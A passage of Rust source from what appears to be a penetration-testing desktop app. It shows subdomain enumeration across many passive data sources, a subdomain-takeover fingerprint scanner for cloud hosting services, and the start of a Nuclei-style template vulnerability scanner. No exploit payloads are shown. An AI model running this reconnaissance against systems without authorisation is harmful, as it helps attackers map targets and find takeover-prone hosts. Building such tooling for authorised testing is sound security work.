let url = format!("http://web.archive.org/cdx/search/cdx?url=*.{}&output=json&fl=original&collapse=urlkey&limit=10000", domain);
let val = fetch_json(client, &url).await?;
let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]);
let mut set = HashSet::new();
for (i, row) in arr.iter().enumerate() {
if i == 0 { continue; } // header row
if let Some(u) = row.as_array().and_then(|r| r.first()).and_then(|v| v.as_str()) {
if let Some(host) = url::Url::parse(u).ok().and_then(|p| p.host_str().map(String::from)) {
if let Some(h) = norm_host(&host, domain) { set.insert(h); }
}
}
}
Ok(set)
}
async fn src_urlscan(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://urlscan.io/api/v1/search/?q=domain:{}&size=10000", domain);
let val = fetch_json(client, &url).await?;
let mut set = HashSet::new();
for r in values_from_array(&val, "results") {
if let Some(d) = r.get("page").and_then(|p| p.get("domain")).and_then(|v| v.as_str()) {
if let Some(h) = norm_host(d, domain) { set.insert(h); }
}
}
Ok(set)
}
async fn src_threatcrowd(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://www.threatcrowd.org/searchApi/v2/domain/report/?domain={}", domain);
let val = fetch_json(client, &url).await?;
let mut set = HashSet::new();
for s in values_from_array(&val, "subdomains") {
if let Some(host) = s.as_str() {
if let Some(h) = norm_host(host, domain) { set.insert(h); }
}
}
Ok(set)
}
// ------------------------------------------------------------------
// key-based sources
// ------------------------------------------------------------------
async fn src_c99(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://api.c99.nl/subdomainfinder?key={key}&domain={domain}&json");
let val = fetch_json(client, &url).await?;
if let Some(e) = val.get("error").and_then(|v| v.as_str()) { anyhow::bail!("{e}"); }
let mut set = HashSet::new();
for r in values_from_array(&val, "subdomains") {
if let Some(s) = r.get("subdomain").and_then(|v| v.as_str()) {
if let Some(h) = norm_host(s, domain) { set.insert(h); }
}
}
Ok(set)
}
async fn src_virustotal(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://www.virustotal.com/api/v3/domains/{}/subdomains?limit=40", domain);
let val = fetch_json_with_headers(client, &url, &[("x-apikey", key)]).await?;
let mut set = HashSet::new();
for r in values_from_array(&val, "data") {
if let Some(id) = r.get("id").and_then(|v| v.as_str()) {
if let Some(h) = norm_host(id, domain) { set.insert(h); }
}
}
Ok(set)
}
async fn src_securitytrails(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://api.securitytrails.com/v1/domain/{}/subdomains?children_only=false", domain);
let val = fetch_json_with_headers(client, &url, &[("APIKEY", key)]).await?;
let mut set = HashSet::new();
for s in values_from_array(&val, "subdomains") {
if let Some(sub) = s.as_str() {
let full = format!("{}.{}", sub, domain);
if let Some(h) = norm_host(&full, domain) { set.insert(h); }
}
}
Ok(set)
}
async fn src_chaos(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://dns.projectdiscovery.io/dns/{}/subdomains", domain);
let val = fetch_json_with_headers(client, &url, &[("Authorization", key)]).await?;
let mut set = HashSet::new();
for s in values_from_array(&val, "subdomains") {
if let Some(sub) = s.as_str() {
let full = format!("{}.{}", sub, domain);
if let Some(h) = norm_host(&full, domain) { set.insert(h); }
}
}
Ok(set)
}
async fn src_shodan(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://api.shodan.io/dns/domain/{}?key={}", domain, key);
let val = fetch_json(client, &url).await?;
let mut set = HashSet::new();
for s in values_from_array(&val, "subdomains") {
if let Some(sub) = s.as_str() {
let full = format!("{}.{}", sub, domain);
if let Some(h) = norm_host(&full, domain) { set.insert(h); }
}
}
Ok(set)
}
async fn src_binaryedge(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://api.binaryedge.io/v2/query/domains/subdomain/{}", domain);
let val = fetch_json_with_headers(client, &url, &[("X-Key", key)]).await?;
let mut set = HashSet::new();
for s in values_from_array(&val, "events") {
if let Some(host) = s.as_str() {
if let Some(h) = norm_host(host, domain) { set.insert(h); }
}
}
Ok(set)
}
async fn src_fullhunt(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://fullhunt.io/api/v1/domain/{}/subdomains", domain);
let val = fetch_json_with_headers(client, &url, &[("X-API-KEY", key)]).await?;
let mut set = HashSet::new();
for s in values_from_array(&val, "hosts") {
if let Some(host) = s.as_str() {
if let Some(h) = norm_host(host, domain) { set.insert(h); }
}
}
Ok(set)
}
// ------------------------------------------------------------------
// orchestrator
// ------------------------------------------------------------------
const FREE_SOURCES: &[&str] = &[
"crtsh", "certspotter", "hackertarget", "alienvault", "anubis",
"rapiddns", "wayback", "urlscan", "threatcrowd",
];
const KEY_SOURCES: &[&str] = &[
"c99", "virustotal", "securitytrails", "chaos", "shodan", "binaryedge", "fullhunt",
];
#[tauri::command]
pub fn subdomain_sources() -> serde_json::Value {
serde_json::json!({
"free": FREE_SOURCES,
"key_based": KEY_SOURCES,
})
}
async fn fetch_source(
name: &str,
client: &reqwest::Client,
domain: &str,
keys: &HashMap<String, String>,
) -> anyhow::Result<HashSet<String>> {
match name {
"crtsh" => src_crtsh(client, domain).await,
"certspotter" => src_certspotter(client, domain).await,
"hackertarget" => src_hackertarget(client, domain).await,
"alienvault" => src_alienvault(client, domain).await,
"anubis" => src_anubis(client, domain).await,
"rapiddns" => src_rapiddns(client, domain).await,
"wayback" => src_wayback(client, domain).await,
"urlscan" => src_urlscan(client, domain).await,
"threatcrowd" => src_threatcrowd(client, domain).await,
"c99" => src_c99(client, domain, keys.get("c99").ok_or_else(|| anyhow::anyhow!("missing c99 api key"))?).await,
"virustotal" => src_virustotal(client, domain, keys.get("virustotal").ok_or_else(|| anyhow::anyhow!("missing virustotal api key"))?).await,
"securitytrails" => src_securitytrails(client, domain, keys.get("securitytrails").ok_or_else(|| anyhow::anyhow!("missing securitytrails api key"))?).await,
"chaos" => src_chaos(client, domain, keys.get("chaos").ok_or_else(|| anyhow::anyhow!("missing chaos api key"))?).await,
"shodan" => src_shodan(client, domain, keys.get("shodan").ok_or_else(|| anyhow::anyhow!("missing shodan api key"))?).await,
"binaryedge" => src_binaryedge(client, domain, keys.get("binaryedge").ok_or_else(|| anyhow::anyhow!("missing binaryedge api key"))?).await,
"fullhunt" => src_fullhunt(client, domain, keys.get("fullhunt").ok_or_else(|| anyhow::anyhow!("missing fullhunt api key"))?).await,
_ => Err(anyhow::anyhow!("unknown source: {name}")),
}
}
fn resolver() -> TokioAsyncResolver {
let mut opts = ResolverOpts::default();
opts.timeout = Duration::from_secs(3);
opts.attempts = 1;
TokioAsyncResolver::tokio(ResolverConfig::cloudflare(), opts)
}
#[tauri::command]
pub async fn subdomain_enum(
app: AppHandle,
req: SubdomainRequest,
) -> Result<Vec<SubdomainHit>, String> {
let client = build_client();
let resolver = Arc::new(resolver());
let keys = req.api_keys.clone().unwrap_or_default();
let enabled: Vec<String> = req.sources.clone()
.filter(|v| !v.is_empty())
.unwrap_or_else(|| FREE_SOURCES.iter().map(|s| s.to_string()).collect());
let _ = app.emit("subenum:status", format!("running {} source(s) in parallel", enabled.len()));
// ---- run all sources concurrently ----
let mut all: HashMap<String, String> = HashMap::new(); // host → first-seen source
let stats: Arc<tokio::sync::Mutex<Vec<SourceStat>>> = Arc::new(tokio::sync::Mutex::new(Vec::new()));
let source_results = futures::future::join_all(enabled.iter().map(|name| {
let client = client.clone();
let keys = keys.clone();
let domain = req.domain.clone();
let app = app.clone();
let stats = stats.clone();
let name = name.clone();
async move {
let started = std::time::Instant::now();
let res = fetch_source(&name, &client, &domain, &keys).await;
let took = started.elapsed().as_millis();
match res {
Ok(set) => {
let stat = SourceStat { source: name.clone(), count: set.len(), error: None, took_ms: took };
let _ = app.emit("subenum:source", stat.clone());
stats.lock().await.push(stat);
(name, set)
}
Err(e) => {
let stat = SourceStat { source: name.clone(), count: 0, error: Some(e.to_string()), took_ms: took };
let _ = app.emit("subenum:source", stat.clone());
stats.lock().await.push(stat);
(name, HashSet::new())
}
}
}
})).await;
for (src_name, set) in source_results {
for h in set {
all.entry(h).or_insert(src_name.clone());
}
}
// ---- bruteforce additions ----
if let Some(words) = &req.wordlist {
for w in words {
let host = format!("{}.{}", w.trim(), req.domain);
all.entry(host).or_insert("brute".into());
}
}
let total = all.len();
let _ = app.emit("subenum:status", format!("aggregated {total} candidates — resolving"));
// ---- DNS resolve all candidates concurrently ----
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
let hits: Vec<SubdomainHit> = stream::iter(all.into_iter())
.map(|(host, source)| {
let resolver = resolver.clone();
let sem = sem.clone();
let done = done.clone();
let app = app.clone();
async move {
let _permit = sem.acquire().await.unwrap();
let result = resolver.lookup_ip(host.as_str()).await;
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
let _ = app.emit("subenum:progress", serde_json::json!({"done": n, "total": total}));
match result {
Ok(lookup) => {
let ips: Vec<String> = lookup.iter().map(|ip| ip.to_string()).collect();
if ips.is_empty() { None } else {
let hit = SubdomainHit { host, source, ips };
let _ = app.emit("subenum:hit", hit.clone());
Some(hit)
}
}
Err(_) => None,
}
}
})
.buffer_unordered(req.concurrency.max(1))
.filter_map(|x| async move { x })
.collect()
.await;
let _ = app.emit("subenum:done", hits.len());
Ok(hits)
}

View File

@@ -0,0 +1,312 @@
use std::sync::Arc;
use std::time::Duration;
use futures::stream::{self, StreamExt};
use hickory_resolver::config::{ResolverConfig, ResolverOpts};
use hickory_resolver::TokioAsyncResolver;
use once_cell::sync::Lazy;
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter};
use tokio::sync::Semaphore;
#[derive(Debug, Clone)]
pub struct Fingerprint {
pub service: &'static str,
pub cname_patterns: &'static [&'static str],
pub body_match: &'static [&'static str],
pub http_status: Option<u16>,
pub vulnerable: bool,
pub confidence: &'static str,
}
static FINGERPRINTS: Lazy<Vec<Fingerprint>> = Lazy::new(|| {
vec![
Fingerprint {
service: "AWS/S3",
cname_patterns: &["s3.amazonaws.com", "s3-website"],
body_match: &["NoSuchBucket", "The specified bucket does not exist"],
http_status: Some(404),
vulnerable: true,
confidence: "HIGH",
},
Fingerprint {
service: "GitHub Pages",
cname_patterns: &["github.io", "github.map.fastly.net"],
body_match: &["There isn't a GitHub Pages site here", "For root URLs"],
http_status: Some(404),
vulnerable: true,
confidence: "HIGH",
},
Fingerprint {
service: "Heroku",
cname_patterns: &["herokuapp.com", "herokussl.com"],
body_match: &["no-such-app", "No such app"],
http_status: Some(404),
vulnerable: true,
confidence: "HIGH",
},
Fingerprint {
service: "Shopify",
cname_patterns: &["myshopify.com"],
body_match: &["Sorry, this shop is currently unavailable"],
http_status: None,
vulnerable: true,
confidence: "MEDIUM",
},
Fingerprint {
service: "Azure",
cname_patterns: &[
"azurewebsites.net", "cloudapp.net", "cloudapp.azure.com",
"trafficmanager.net", "blob.core.windows.net", "azureedge.net",
"azure-api.net", "azurecontainer.io",
],
body_match: &["404 Web Site not found", "Error 404 - Web app not found"],
http_status: Some(404),
vulnerable: true,
confidence: "HIGH",
},
Fingerprint {
service: "Fastly",
cname_patterns: &["fastly.net"],
body_match: &["Fastly error: unknown domain"],
http_status: None,
vulnerable: true,
confidence: "MEDIUM",
},
Fingerprint {
service: "Readme.io",
cname_patterns: &["readme.io"],
body_match: &["Project doesnt exist... yet!"],
http_status: None,
vulnerable: true,
confidence: "HIGH",
},
Fingerprint {
service: "Tumblr",
cname_patterns: &["domains.tumblr.com"],
body_match: &["Whatever you were looking for doesn't currently exist"],
http_status: None,
vulnerable: true,
confidence: "HIGH",
},
Fingerprint {
service: "Unbounce",
cname_patterns: &["unbouncepages.com"],
body_match: &["The requested URL was not found on this server"],
http_status: None,
vulnerable: true,
confidence: "MEDIUM",
},
Fingerprint {
service: "Ghost",
cname_patterns: &["ghost.io"],
body_match: &["The thing you were looking for is no longer here"],
http_status: None,
vulnerable: true,
confidence: "HIGH",
},
Fingerprint {
service: "Pantheon",
cname_patterns: &["pantheonsite.io"],
body_match: &["The gods are wise, but do not know of the site which you seek"],
http_status: None,
vulnerable: true,
confidence: "HIGH",
},
Fingerprint {
service: "Zendesk",
cname_patterns: &["zendesk.com"],
body_match: &["Help Center Closed"],
http_status: None,
vulnerable: true,
confidence: "LOW",
},
Fingerprint {
service: "Surge.sh",
cname_patterns: &["surge.sh"],
body_match: &["project not found"],
http_status: None,
vulnerable: true,
confidence: "HIGH",
},
Fingerprint {
service: "Bitbucket",
cname_patterns: &["bitbucket.io"],
body_match: &["Repository not found"],
http_status: None,
vulnerable: true,
confidence: "HIGH",
},
Fingerprint {
service: "Netlify",
cname_patterns: &["netlify.app", "netlify.com"],
body_match: &["Not Found - Request ID"],
http_status: Some(404),
vulnerable: true,
confidence: "MEDIUM",
},
Fingerprint {
service: "Vercel",
cname_patterns: &["vercel.app", "now.sh"],
body_match: &["The deployment could not be found"],
http_status: Some(404),
vulnerable: true,
confidence: "MEDIUM",
},
Fingerprint {
service: "Cargo",
cname_patterns: &["cargocollective.com"],
body_match: &["404 Not Found"],
http_status: None,
vulnerable: true,
confidence: "LOW",
},
Fingerprint {
service: "Statuspage",
cname_patterns: &["statuspage.io"],
body_match: &["You are being redirected"],
http_status: None,
vulnerable: false,
confidence: "LOW",
},
]
});
#[derive(Debug, Clone, Deserialize)]
pub struct TakeoverRequest {
pub hosts: Vec<String>,
pub concurrency: usize,
pub timeout_ms: u64,
}
#[derive(Debug, Clone, Serialize)]
pub struct TakeoverFinding {
pub host: String,
pub cname: Option<String>,
pub service: Option<String>,
pub vulnerable: bool,
pub confidence: String,
pub evidence: String,
pub http_status: Option<u16>,
}
async fn check_host(
host: &str,
resolver: &TokioAsyncResolver,
client: &reqwest::Client,
) -> Option<TakeoverFinding> {
// 1. lookup CNAME
let cname = resolver
.lookup(host.to_string(), hickory_resolver::proto::rr::RecordType::CNAME)
.await
.ok()
.and_then(|lookup| lookup.iter().next().map(|r| r.to_string().trim_end_matches('.').to_string()));
let cname = cname?;
// 2. match CNAME against fingerprint DB
let fp = FINGERPRINTS.iter().find(|f| {
f.cname_patterns
.iter()
.any(|p| cname.to_lowercase().contains(&p.to_lowercase()))
})?;
// 3. probe HTTP for confirmation
let urls = [format!("https://{host}"), format!("http://{host}")];
let mut http_status: Option<u16> = None;
let mut body = String::new();
for u in &urls {
if let Ok(resp) = client.get(u).send().await {
http_status = Some(resp.status().as_u16());
body = resp.text().await.unwrap_or_default();
if !body.is_empty() {
break;
}
}
}
let mut matched = false;
let mut evidence = String::new();
for pat in fp.body_match {
if body.to_lowercase().contains(&pat.to_lowercase()) {
matched = true;
evidence = format!("body contains: \"{pat}\"");
break;
}
}
if !matched {
if let (Some(expected), Some(actual)) = (fp.http_status, http_status) {
if expected == actual {
evidence = format!("cname match + status {actual} (body signature missing — likely reclaimed)");
matched = true;
}
}
}
// always report cname-fingerprinted hosts; vulnerability flag based on body confirm
Some(TakeoverFinding {
host: host.to_string(),
cname: Some(cname),
service: Some(fp.service.to_string()),
vulnerable: matched && fp.vulnerable,
confidence: if matched { fp.confidence.to_string() } else { "INFO".into() },
evidence: if evidence.is_empty() {
format!("cname points to {} (no takeover indicators)", fp.service)
} else {
evidence
},
http_status,
})
}
#[tauri::command]
pub async fn takeover_scan(
app: AppHandle,
req: TakeoverRequest,
) -> Result<Vec<TakeoverFinding>, String> {
let mut opts = ResolverOpts::default();
opts.timeout = Duration::from_secs(3);
let resolver = Arc::new(TokioAsyncResolver::tokio(ResolverConfig::cloudflare(), opts));
let client = Arc::new(
reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(req.timeout_ms))
.redirect(reqwest::redirect::Policy::none())
.user_agent("Mozilla/5.0 (PocketPentester)")
.build()
.map_err(|e| e.to_string())?,
);
let total = req.hosts.len();
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
let findings: Vec<TakeoverFinding> = stream::iter(req.hosts.into_iter())
.map(|host| {
let resolver = resolver.clone();
let client = client.clone();
let sem = sem.clone();
let done = done.clone();
let app = app.clone();
async move {
let _permit = sem.acquire().await.unwrap();
let res = check_host(&host, &resolver, &client).await;
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
let _ = app.emit("takeover:progress", serde_json::json!({"done": n, "total": total}));
if let Some(ref f) = res {
let _ = app.emit("takeover:hit", f.clone());
}
res
}
})
.buffer_unordered(req.concurrency.max(1))
.filter_map(|x| async move { x })
.collect()
.await;
let _ = app.emit("takeover:done", findings.len());
Ok(findings)
}

View File

@@ -0,0 +1,645 @@
// ===================================================================
// Xploiter — pure-Rust template-driven vulnerability scanner
// Author: imtaqin / PocketPentester
//
// Template format (YAML) — compatible with most Nuclei patterns plus
// our own extensions. Covers: RCE, SQLi patterns, LFI, SSRF, open
// redirect, info-exposure, CVE chains, and user-authored templates.
//
// TODO(backend): community template registry with signed/curated
// sharing is planned as a subscription-gated cloud
// service. For now, templates are local-only.
// TODO(backend): OOB interaction server (interact.sh-lite) for blind
// RCE/SSRF/XXE detection. To be shipped with cloud tier.
// ===================================================================
use std::collections::HashMap;
use std::sync::Arc;
use std::time::{Duration, Instant};
use futures::stream::{self, StreamExt};
use rand::Rng;
use regex::Regex;
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter};
use tokio::sync::Semaphore;
// ------------------------------------------------------------------
// Template schema
// ------------------------------------------------------------------
#[allow(dead_code)]
#[derive(Debug, Clone, Deserialize)]
pub struct Template {
pub id: String,
pub info: TemplateInfo,
#[serde(default)]
pub variables: HashMap<String, String>,
/// Global payload sets shared across requests (referenced by name).
#[serde(default)]
pub payloads: HashMap<String, Vec<String>>,
/// Sequential HTTP requests. Extractors in step N populate variables
/// available to step N+1 (basic workflow chaining).
#[serde(default)]
pub http: Vec<HttpRequest>,
/// Alias for `http` (Nuclei compatibility).
#[serde(default)]
pub requests: Vec<HttpRequest>,
}
#[allow(dead_code)]
#[derive(Debug, Clone, Deserialize, Serialize)]
pub struct TemplateInfo {
pub name: String,
#[serde(default)]
pub author: String,
#[serde(default = "default_sev")]
pub severity: String,
#[serde(default)]
pub description: String,
#[serde(default)]
pub tags: Vec<String>,
#[serde(default)]
pub reference: Vec<String>,
#[serde(default)]
pub classification: Option<Classification>,
#[serde(default)]
pub remediation: Option<String>,
}
#[allow(dead_code)]
#[derive(Debug, Clone, Deserialize, Serialize)]
pub struct Classification {
#[serde(default)]
pub cvss_score: Option<f32>,
#[serde(default)]
pub cve_id: Option<String>,
#[serde(default)]
pub cwe_id: Option<Vec<String>>,
}
fn default_sev() -> String { "info".into() }
#[allow(dead_code)]
#[derive(Debug, Clone, Deserialize)]
pub struct HttpRequest {
#[serde(default = "default_method")]
pub method: String,
/// Path list — each path is templated. Each entry spawns one sub-request
/// (unless payload-substitution expands it further).
pub path: Vec<String>,
#[serde(default)]
pub headers: HashMap<String, String>,
#[serde(default)]
pub body: Option<String>,
/// Request-local variables (merged with template-global + extracted).
#[serde(default)]
pub variables: HashMap<String, String>,
/// Payload injection: each key is a `{{placeholder}}` replaced by each
/// value from the list (cartesian unless `attack: pitchfork|clusterbomb`).
#[serde(default)]
pub payloads: HashMap<String, Vec<String>>,
#[serde(default = "default_attack")]
pub attack: String, // "batteringram" (single list) or "clusterbomb"
#[serde(default = "default_match_cond")]
pub matchers_condition: String,
#[serde(default)]
pub matchers: Vec<Matcher>,
#[serde(default)]
pub extractors: Vec<Extractor>,
#[serde(default)]
pub stop_at_first_match: bool,
#[serde(default = "default_true")]
pub redirects: bool,
/// Raw HTTP for smuggling / control-char testing (optional).
#[serde(default)]
pub raw: Option<String>,
}
fn default_method() -> String { "GET".into() }
fn default_match_cond() -> String { "or".into() }
fn default_attack() -> String { "batteringram".into() }
fn default_true() -> bool { true }
#[allow(dead_code)]
#[derive(Debug, Clone, Deserialize)]
pub struct Matcher {
#[serde(rename = "type")]
pub kind: String, // word | regex | status | size | dsl | binary
#[serde(default)]
pub part: Option<String>, // body | header | all | interactsh_protocol
#[serde(default)]
pub words: Option<Vec<String>>,
#[serde(default)]
pub regex: Option<Vec<String>>,
#[serde(default)]
pub status: Option<Vec<u16>>,
#[serde(default)]
pub size: Option<Vec<u64>>,
#[serde(default)]
pub binary: Option<Vec<String>>, // hex
#[serde(default)]
pub dsl: Option<Vec<String>>, // simple DSL: see eval_dsl
#[serde(default = "default_match_cond")]
pub condition: String,
#[serde(default)]
pub negative: bool,
#[serde(default)]
pub name: Option<String>,
}
#[allow(dead_code)]
#[derive(Debug, Clone, Deserialize)]
pub struct Extractor {
#[serde(rename = "type")]
pub kind: String, // regex | kval | json
#[serde(default)]
pub part: Option<String>,
#[serde(default)]
pub regex: Option<Vec<String>>,
#[serde(default)]
pub kval: Option<Vec<String>>, // header/cookie keys
#[serde(default)]
pub json: Option<Vec<String>>, // dotted path e.g. "token.access"
#[serde(default)]
pub group: Option<usize>,
#[serde(default)]
pub name: Option<String>,
/// If set, extracted values become template variables for next requests.
#[serde(default)]
pub internal: bool,
}
// ------------------------------------------------------------------
// Runtime
// ------------------------------------------------------------------
#[derive(Debug, Clone, Deserialize)]
pub struct RunRequest {
pub targets: Vec<String>,
pub templates_yaml: Vec<String>,
pub concurrency: usize,
pub timeout_ms: u64,
}
#[derive(Debug, Clone, Serialize)]
pub struct Finding {
pub template_id: String,
pub template_name: String,
pub severity: String,
pub tags: Vec<String>,
pub target: String,
pub matched_url: String,
pub status: u16,
pub matcher_names: Vec<String>,
pub extracted: HashMap<String, Vec<String>>,
pub description: String,
pub remediation: Option<String>,
pub reference: Vec<String>,
pub cvss: Option<f32>,
pub cve_id: Option<String>,
}
// helpers ----------------------------------------------------------
fn randstr(n: usize) -> String {
let chars: Vec<char> = "abcdefghijklmnopqrstuvwxyz0123456789".chars().collect();
let mut rng = rand::thread_rng();
(0..n).map(|_| chars[rng.gen_range(0..chars.len())]).collect()
}
fn now_unix() -> u64 {
std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_secs())
.unwrap_or(0)
}
/// Expand `{{var}}` and helper placeholders inside a template string.
fn expand(s: &str, vars: &HashMap<String, String>) -> String {
let mut out = s.to_string();
// helpers
out = out.replace("{{randstr}}", &randstr(10));
out = out.replace("{{rand_int}}", &rand::thread_rng().gen_range(1000..9999).to_string());
out = out.replace("{{unix_time}}", &now_unix().to_string());
// user variables
for (k, v) in vars {
out = out.replace(&format!("{{{{{k}}}}}"), v);
}
out
}
fn part_of(part: &str, status: u16, headers: &reqwest::header::HeaderMap, body: &str) -> String {
match part {
"header" | "headers" => headers
.iter()
.map(|(k, v)| format!("{}: {}", k, v.to_str().unwrap_or("")))
.collect::<Vec<_>>()
.join("\n"),
"body" | "" => body.to_string(),
"all" => format!(
"HTTP/1.1 {}\n{}\n\n{}",
status,
headers.iter().map(|(k, v)| format!("{}: {}", k, v.to_str().unwrap_or(""))).collect::<Vec<_>>().join("\n"),
body
),
_ => body.to_string(),
}
}
fn check_matcher(m: &Matcher, status: u16, headers: &reqwest::header::HeaderMap, body: &str, duration_ms: u128) -> bool {
let part = m.part.as_deref().unwrap_or("body");
let haystack = part_of(part, status, headers, body);
let result = match m.kind.as_str() {
"status" => m.status.as_ref().is_some_and(|s| s.contains(&status)),
"word" => {
if let Some(words) = &m.words {
if m.condition == "and" {
words.iter().all(|w| haystack.contains(w))
} else {
words.iter().any(|w| haystack.contains(w))
}
} else { false }
}
"regex" => {
if let Some(patterns) = &m.regex {
let regs: Vec<Regex> = patterns.iter().filter_map(|p| Regex::new(p).ok()).collect();
if m.condition == "and" {
regs.iter().all(|re| re.is_match(&haystack))
} else {
regs.iter().any(|re| re.is_match(&haystack))
}
} else { false }
}
"size" => m.size.as_ref().is_some_and(|s| s.contains(&(body.len() as u64))),
"binary" => {
// hex bytes match anywhere in body
if let Some(patterns) = &m.binary {
patterns.iter().any(|hex| {
let bytes: Vec<u8> = (0..hex.len())
.step_by(2)
.filter_map(|i| u8::from_str_radix(hex.get(i..i + 2).unwrap_or("00"), 16).ok())
.collect();
body.as_bytes().windows(bytes.len()).any(|w| w == bytes.as_slice())
})
} else { false }
}
"dsl" => {
// minimal DSL: `duration > 5000`, `status == 200`, `contains(body, "foo")`
if let Some(exprs) = &m.dsl {
let ok = |e: &str| eval_dsl(e, status, body, duration_ms);
if m.condition == "and" { exprs.iter().all(|e| ok(e)) }
else { exprs.iter().any(|e| ok(e)) }
} else { false }
}
_ => false,
};
if m.negative { !result } else { result }
}
fn eval_dsl(expr: &str, status: u16, body: &str, duration_ms: u128) -> bool {
// SUPER minimal DSL — extend as needed. Supports:
// status == N | status != N | status >= N | status <= N
// duration > N | duration < N (milliseconds)
// size > N | size < N
// contains(body, "text")
// regex(body, "pat")
let e = expr.trim();
if let Some(rest) = e.strip_prefix("contains(body,") {
let t = rest.trim_end_matches(')').trim().trim_matches('"');
return body.contains(t);
}
if let Some(rest) = e.strip_prefix("regex(body,") {
let t = rest.trim_end_matches(')').trim().trim_matches('"');
return Regex::new(t).map(|re| re.is_match(body)).unwrap_or(false);
}
let parse_binop = |lhs: &str, input: &str| -> Option<(u128, &'static str, u128)> {
let cleaned = input.trim();
let rest = cleaned.strip_prefix(lhs)?.trim_start();
for op in [">=", "<=", "==", "!=", ">", "<"] {
if let Some(r) = rest.strip_prefix(op) {
if let Ok(n) = r.trim().parse::<u128>() {
let lhs_val = match lhs {
"status" => status as u128,
"duration" => duration_ms,
"size" => body.len() as u128,
_ => return None,
};
let op_tag: &'static str = match op {
">=" => ">=", "<=" => "<=", "==" => "==",
"!=" => "!=", ">" => ">", "<" => "<", _ => "==",
};
return Some((lhs_val, op_tag, n));
}
}
}
None
};
for lhs in ["status", "duration", "size"] {
if let Some((a, op, b)) = parse_binop(lhs, e) {
return match op {
"==" => a == b, "!=" => a != b,
">" => a > b, "<" => a < b,
">=" => a >= b, "<=" => a <= b,
_ => false,
};
}
}
false
}
fn run_extractors(extractors: &[Extractor], status: u16, headers: &reqwest::header::HeaderMap, body: &str)
-> HashMap<String, Vec<String>>
{
let mut out: HashMap<String, Vec<String>> = HashMap::new();
for ex in extractors {
let part = ex.part.as_deref().unwrap_or("body");
let name = ex.name.clone().unwrap_or_else(|| "extracted".into());
match ex.kind.as_str() {
"regex" => {
let Some(patterns) = &ex.regex else { continue };
let haystack = part_of(part, status, headers, body);
let group = ex.group.unwrap_or(0);
for p in patterns {
if let Ok(re) = Regex::new(p) {
for cap in re.captures_iter(&haystack) {
if let Some(m) = cap.get(group) {
out.entry(name.clone()).or_default().push(m.as_str().to_string());
}
}
}
}
}
"kval" => {
let Some(keys) = &ex.kval else { continue };
for k in keys {
if let Some(v) = headers.get(k).and_then(|v| v.to_str().ok()) {
out.entry(k.clone()).or_default().push(v.to_string());
}
}
}
"json" => {
let Some(paths) = &ex.json else { continue };
if let Ok(val) = serde_json::from_str::<serde_json::Value>(body) {
for p in paths {
if let Some(v) = json_lookup(&val, p) {
out.entry(p.clone()).or_default().push(
v.as_str().map(String::from).unwrap_or_else(|| v.to_string())
);
}
}
}
}
_ => {}
}
}
out
}
fn json_lookup<'a>(val: &'a serde_json::Value, path: &str) -> Option<&'a serde_json::Value> {
let mut cur = val;
for part in path.split('.') {
cur = cur.get(part)?;
}
Some(cur)
}
fn expand_payloads(path: &str, payloads: &HashMap<String, Vec<String>>, attack: &str) -> Vec<HashMap<String, String>> {
// returns list of var-substitution maps — one per payload combination
let used: Vec<(&String, &Vec<String>)> = payloads.iter()
.filter(|(k, _)| path.contains(&format!("{{{{{k}}}}}")))
.collect();
if used.is_empty() { return vec![HashMap::new()]; }
match attack {
"batteringram" => {
// single-list: all placeholders get same index value
if let Some(max) = used.iter().map(|(_, v)| v.len()).max() {
(0..max).map(|i| {
used.iter().map(|(k, v)| {
let s = v.get(i).or_else(|| v.first()).cloned().unwrap_or_default();
((*k).clone(), s)
}).collect()
}).collect()
} else { vec![HashMap::new()] }
}
"pitchfork" => {
// parallel — each list iterates in lockstep
if let Some(min) = used.iter().map(|(_, v)| v.len()).min() {
(0..min).map(|i| {
used.iter().map(|(k, v)| ((*k).clone(), v[i].clone())).collect()
}).collect()
} else { vec![HashMap::new()] }
}
_ => {
// clusterbomb (cartesian)
let mut results: Vec<HashMap<String, String>> = vec![HashMap::new()];
for (k, vals) in &used {
let mut next: Vec<HashMap<String, String>> = Vec::new();
for base in &results {
for v in vals.iter() {
let mut m = base.clone();
m.insert((*k).clone(), v.clone());
next.push(m);
}
}
results = next;
}
results
}
}
}
pub async fn run_template_against_target(
client: &reqwest::Client,
target: &str,
tpl: &Template,
app: &AppHandle,
event_prefix: &str,
) -> Vec<Finding> {
let ev_status = format!("{event_prefix}:status");
let ev_hit = format!("{event_prefix}:hit");
let mut out: Vec<Finding> = Vec::new();
// runtime variables (template globals + extracted from prior requests)
let mut rt_vars: HashMap<String, String> = tpl.variables.clone();
rt_vars.insert("BaseURL".into(), target.trim_end_matches('/').to_string());
rt_vars.insert("Hostname".into(), target
.trim_start_matches("http://")
.trim_start_matches("https://")
.trim_end_matches('/')
.split('/').next().unwrap_or("").to_string());
let requests: Vec<&HttpRequest> = tpl.http.iter().chain(tpl.requests.iter()).collect();
'per_request: for rq in requests {
// merge request-local variables
let mut vars = rt_vars.clone();
for (k, v) in &rq.variables { vars.insert(k.clone(), v.clone()); }
// combine template-level + request-level payloads
